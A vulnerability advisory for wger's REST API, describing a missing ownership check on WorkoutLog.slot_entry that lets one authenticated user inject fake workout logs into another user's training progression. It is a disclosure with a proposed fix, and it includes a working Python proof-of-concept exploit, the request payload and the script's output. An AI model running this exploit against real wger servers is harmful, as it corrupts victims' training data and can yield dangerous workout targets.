wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry
Summary
An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error.
Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.
Details
wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's get_owner_objects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.
WorkoutLogViewSet.get_owner_objects() returns:
# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
return [(Routine, 'routine'), (WorkoutSession, 'session')]
# ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked
# (SlotEntry, 'slot_entry') is MISSING
Because slot_entry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slot_entry ID (which is never verified).
The second contributing factor is in SlotEntry.get_config_data():
# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all()) # no .filter(user=...)
This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.
PoC
Prerequisites
- Two authenticated user accounts (attacker and victim)
- The attacker knows (or can enumerate) the victim's
SlotEntryID - The attacker has at least one
Routineof their own (to satisfy theroutineownership check)
Attack Steps
POST /api/v2/workoutlog/
Authorization: Token <attacker_token>
Content-Type: application/json
{
"routine": <attacker_routine_id>,
"slot_entry": <victim_slot_entry_id>,
"exercise": <any_valid_exercise_id>,
"repetitions": 999,
"weight": 999,
"repetitions_unit": 1,
"weight_unit": 1,
"date": "2025-01-15",
"iteration": 1
}
Expected: HTTP 403 (the slot_entry belongs to another user)
Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import json
from datetime import date, timedelta
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"
BANNER = """
=====================================================================
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Severity: CRITICAL
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return None
def api_headers(token):
return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- 1. Authenticate both users ----
print("[1] Authenticating users...")
victim_token = api_login(VICTIM_USER, VICTIM_PASS)
if not victim_token:
print(f"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.")
sys.exit(1)
print(f" Victim ({VICTIM_USER}): token={victim_token[:16]}...")
attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not attacker_token:
print(f" Registering attacker account...")
r = requests.post(f"{API}/register/", json={
"username": ATTACKER_USER,
"password": ATTACKER_PASS,
})
if r.status_code in (200, 201):
attacker_token = r.json().get("token")
if not attacker_token:
attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not attacker_token:
print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}")
sys.exit(1)
print(f" Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...")
# ---- 2. Create victim's routine chain ----
print("\n[2] Setting up victim's private routine chain...")
vh = api_headers(victim_token)
today = str(date.today())
end_date = str(date.today() + timedelta(days=30))
r = requests.post(f"{API}/routine/", headers=vh, json={
"name": "Victim Private Routine", "start": today, "end": end_date
})
victim_routine_id = r.json()["id"]
print(f" Routine id={victim_routine_id}")
r = requests.post(f"{API}/day/", headers=vh, json={
"routine": victim_routine_id, "order": 1, "name": "Push Day"
})
victim_day_id = r.json()["id"]
print(f" Day id={victim_day_id}")
r = requests.post(f"{API}/slot/", headers=vh, json={
"day": victim_day_id, "order": 1
})
victim_slot_id = r.json()["id"]
print(f" Slot id={victim_slot_id}")
r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh)
exercise_id = r.json()["results"][0]["id"]
r = requests.post(f"{API}/slot-entry/", headers=vh, json={
"slot": victim_slot_id, "exercise": exercise_id, "order": 1, "type": "normal"
})
victim_slot_entry_id = r.json()["id"]
print(f" SlotEntry id={victim_slot_entry_id} <-- TARGET")
# ---- 3. Create attacker's own routine ----
print("\n[3] Creating attacker's own routine...")
ah = api_headers(attacker_token)
r = requests.post(f"{API}/routine/", headers=ah, json={
"name": "Attacker Routine", "start": today, "end": end_date
})
attacker_routine_id = r.json()["id"]
print(f" Attacker routine id={attacker_routine_id}")
# ---- 4. ATTACK ----
print(f"\n{'='*65}")
print(f" ATTACK: Injecting fake WorkoutLog into victim's SlotEntry")
print(f"{'='*65}")
payload = {
"routine": attacker_routine_id,
"slot_entry": victim_slot_entry_id,
"exercise": exercise_id,
"repetitions": 999,
"weight": 999,
"repetitions_unit": 1,
"weight_unit": 1,
"date": today,
"iteration": 1,
}
print(f"\n POST {API}/workoutlog/")
print(f" routine = {attacker_routine_id} (attacker's own -> passes check)")
print(f" slot_entry = {victim_slot_entry_id} (VICTIM's -> NOT CHECKED)")
print(f" weight = 999")
print(f" reps = 999")
r = requests.post(f"{API}/workoutlog/", headers=ah, json=payload)
print(f"\n Response: HTTP {r.status_code}")
if r.status_code == 201:
d = r.json()
print(f" Created WorkoutLog id={d['id']}")
print(f" slot_entry = {d['slot_entry']} <- VICTIM's SlotEntry!")
print(f" routine = {d['routine']} <- attacker's routine")
print(f" weight = {d['weight']}")
print(f" reps = {d['repetitions']}")
elif r.status_code == 403:
print(" Access denied - NOT vulnerable (patched)")
sys.exit(0)
else:
print(f" Unexpected: {r.text[:300]}")
sys.exit(1)
# ---- 5. VERIFY ----
print(f"\n{'='*65}")
print(f" VERIFICATION")
print(f"{'='*65}")
r = requests.get(
f"{API}/routine/{victim_routine_id}/date-sequence-display/",
headers=vh,
)
print(f"\n GET /api/v2/routine/{victim_routine_id}/date-sequence-display/")
print(f" (as victim - this endpoint consumes the injected logs)")
print(f" HTTP {r.status_code}")
if r.status_code == 200:
seq = r.json()
print(f" Returned {len(seq)} day(s) of data")
if seq:
print(f" First entry (truncated):")
print(f" {json.dumps(seq[0], indent=2)[:600]}")
r2 = requests.get(f"{API}/workoutlog/?format=json", headers=vh)
victim_logs = r2.json().get("results", [])
print(f"\n Victim's own /api/v2/workoutlog/ shows {len(victim_logs)} log(s)")
print(f" (The injected log is owned by attacker, so it does NOT appear")
print(f" in victim's list view - but it IS attached to victim's SlotEntry")
print(f" and WILL corrupt victim's progression calculations.)")
print("""
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| HTTP 201 accepted the cross-user slot_entry reference. |
| The attacker's fake log (weight=999, reps=999) is now |
| linked to the victim's SlotEntry and will be included |
| in get_config_data() -> corrupting auto-progression. |
+----------------------------------------------------------+
""")
Proof of Concept Output
=====================================================================
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Severity: CRITICAL
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
[1] Authenticating users...
Victim (admin): token=7e34da0a3f3f00a4...
Registering attacker account...
Attacker (attacker_idor_poc): token=8a70d2881b656c18...
[2] Setting up victim's private routine chain...
Routine id=3
Day id=2
Slot id=2
SlotEntry id=2 <-- TARGET
[3] Creating attacker's own routine...
Attacker routine id=4
=================================================================
ATTACK: Injecting fake WorkoutLog into victim's SlotEntry
=================================================================
POST http://localhost/api/v2/workoutlog/
routine = 4 (attacker's own -> passes check)
slot_entry = 2 (VICTIM's -> NOT CHECKED)
weight = 999
reps = 999
Response: HTTP 201
Created WorkoutLog id=2
slot_entry = 2 <- VICTIM's SlotEntry!
routine = 4 <- attacker's routine
weight = 999.00
reps = 999.00
=================================================================
VERIFICATION
=================================================================
GET /api/v2/routine/3/date-sequence-display/
(as victim - this endpoint consumes the injected logs)
HTTP 200
Returned 31 day(s) of data
Victim's own /api/v2/workoutlog/ shows 0 log(s)
(The injected log is owned by attacker, so it does NOT appear
in victim's list view - but it IS attached to victim's SlotEntry
and WILL corrupt victim's progression calculations.)
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| HTTP 201 accepted the cross-user slot_entry reference. |
| The attacker's fake log (weight=999, reps=999) is now |
| linked to the victim's SlotEntry and will be included |
| in get_config_data() -> corrupting auto-progression. |
+----------------------------------------------------------+
Impact
-
Training Data Integrity: The progressive-overload engine (
get_config_data) uses injected fake values when computing the victim's next workout targets. An attacker settingweight=999orrepetitions=0can produce dangerous or nonsensical training recommendations. -
Silent Corruption: The victim receives no notification. Their training plan simply starts producing unexpected numbers.
-
Scalable Attack: Because only a
slot_entryID is needed, an attacker can iterate over IDs and inject data into every user's training program with automated requests.
Fix
Primary Fix - Add slot_entry to the ownership check
# File: wger/manager/api/views.py
class WorkoutLogViewSet(WgerOwnerObjectModelViewSet):
def get_owner_objects(self):
return [
(Routine, 'routine'),
(WorkoutSession, 'session'),
(SlotEntry, 'slot_entry'), # ADD THIS
]
Defence-in-Depth - Filter logs by routine owner
# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.filter(
user=self.slot.day.routine.user
))
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | wger | <= 2.1 | no fix |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N- Weakness (CWE)
CWE-639, CWE-862- Platform
- Python (PyPI)
- Package
wger- Disclosed
- 07.10.2026
- Updated
- 15.10.2026 18:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-4314 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-rjpf-7pf5-q54x - CC BY 4.0
Vulnerability history: wger
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 20
- First → latest
- 11.2022 10.2026
- Without a fix
- 16
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 8
- Medium 9
- Low 1
Disclosures per year
- 2022: 1
- 2023: 2
- 2024: 0
- 2025: 0
- 2026: 17
-
wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry this entry
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